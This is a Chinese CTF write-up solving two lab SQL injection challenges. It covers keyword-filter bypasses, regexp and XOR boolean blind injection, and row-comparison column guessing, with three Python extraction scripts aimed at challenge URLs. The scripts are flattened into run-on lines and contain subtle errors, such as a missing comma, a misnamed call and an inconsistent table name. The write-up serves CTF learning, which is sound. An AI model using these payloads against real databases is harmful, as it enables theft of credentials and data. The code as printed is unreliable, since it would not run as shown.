[NCTF2019]SQLi&&[GYCTF2020]Ezsqli [NCTF2019]SQLi 题目
扫一下后台文件发现robots.txt,发现hint.txt
可以看到过滤了一堆关键字,用一般的方法注入肯定不行,但是好的地方是题目里已经把sql语句写了出来,我们可以根据黑名单和sql语句进行分析
解题过程 我们先来想一下怎么写一个poc,一般做法是用单引号闭合然后用注释符注释后面的部分,但是这里将单引号过滤了,考虑到有两个字段,可以用’\‘实现单引号逃逸,但是注释符好像都被过滤了,但是我灵光一现,突然就想到了%00截断(好吧,其实写的时候想不到怎么做直接看wp了呜呜
尝试用
1 username=\&passwd=||1;%00
发现响应里有welcome.php
这个应该是正常的响应了,但是我们如何拿到flag呢?
注意hint.txt里的一句话,If $_POST[‘passwd’] === admin’s password即可得到flag,因此我们只需获得passwd字段的值就行,但是看这一大堆过滤,联合查询和报错查询应该都用不了了,那应该怎么做呢?
regexp正则注入
其实我们可以想到还可以用like类似模糊匹配来获取字段值,就可以想到regexp,它刚好也没有被黑名单过滤,但是这个模式串应该怎么写?因为passwd的每一个字符我们都不知道,但是我们知道了正常响应会给一个welcome.php,由此我们可以想到用盲注来获取信息,我们可以从第一个字符开始一步步猜测,比如’passwd regexp ^a’,不行就用’b’,直到有welcome.php出现在响应报文中,这个注入过程可以写一个脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import requestsfrom urllib import parseurl = 'http://0ee3cb75-d509-4e13-89ae-63671edde26a.node5.buuoj.cn:81/index.php' flag = '' string = string.ascii_lowercase + string.digits + '_' for i in range (1 ,50 ): for j in string: data = {'username' :'\\' 'passwd' :'||passwd/**/regexp/**/"^{}";{}' .format (flag + j,parse.unquote('%00' )) } r = request.post(url=url,data=data) if 'welcome' in r.text: flag += j print (flag) break if j == '_' and 'welcome' not in r.text: break
最后得到密码
最后拿到flag
[GYCTF2020]Ezsqli 题目
用2-1,2试出来是数字型注入,但是union被过滤,并且报错只返回bool(false),考虑盲注
发现’|’,’^’未被过滤,可以用如’1^(ascii(substr((select(database())),1,1))>1)^1’判断数据库名的第一个字符,以此类推。同样可以写个脚本(这里用以前的脚本稍微改了一下)
爆表名,注意information_schema被过滤可用sys.schema_table_statistics_with_buffer替代
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 import requestsimport timedef exp (url_format,length=None ): rlt = '' url = url_format if length==None : length = 1000 for l in range (1 ,length+1 ): time.sleep(0.06 ) begin = 32 ends = 128 tmp = (begin+ends)//2 while begin<ends: postdata={ 'id' :'1^(ascii(substr((select(group_concat(table_name))from(sys.schema_table_statistics_with_buffer)where(table_schema=database())),{},1))>{})^1' .format (l,tmp) } r = requests.post(url=url,data=postdata) time.sleep(0.04 ) if "Nu1L" in r.text: begin = tmp+1 tmp = (begin+ends)//2 else : ends = tmp tmp = (begin+ends)//2 if tmp == 32 : break rlt+=chr (tmp) print (rlt) url = 'http://0c6136cd-28f3-4e59-88b0-23866525afa8.node5.buuoj.cn:81/' exp(url)
可是列名应该怎么办呢?同样我们可以用盲注的方法如select “{chr}” > select * from f1ag_1s_h3r3_hhhh,如果f1ag_1s_h3r3_hhhh只有一列,当chr的ascii码值大于列名第一个字符ascii码值时,返回1,否则返回0
ps:f1ag_1s_h3r3_hhhh实际有两列,可以用select 1,2,select 1,2,3尝试,这里还需注意f1ag_1s_h3r3_hhhh必须只有一行记录
例如存在记录:id=1,flag=c
则select 1,d > select 1,c
返回1,其实就是”1d”>”1c”
接着再写个脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import requestsurl = 'http://0c6136cd-28f3-4e59-88b0-23866525afa8.node5.buuoj.cn:81/' flag = '' for i in range (1 ,70 ): for char in range (32 , 127 ): hexchar = flag + chr (char) payload = '2||((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))' .format (hexchar) data = {'id' :payload} r = requests.post(url=url, data=data) text = r.text if 'Nu1L' in r.text: flag += chr (char-1 ) print (flag) break
最后得到flag,将字符转小写即可
小结 sql注入还是有挺多需要注意的点的,刚好想到最近在写数据库课设,事真多啊啊啊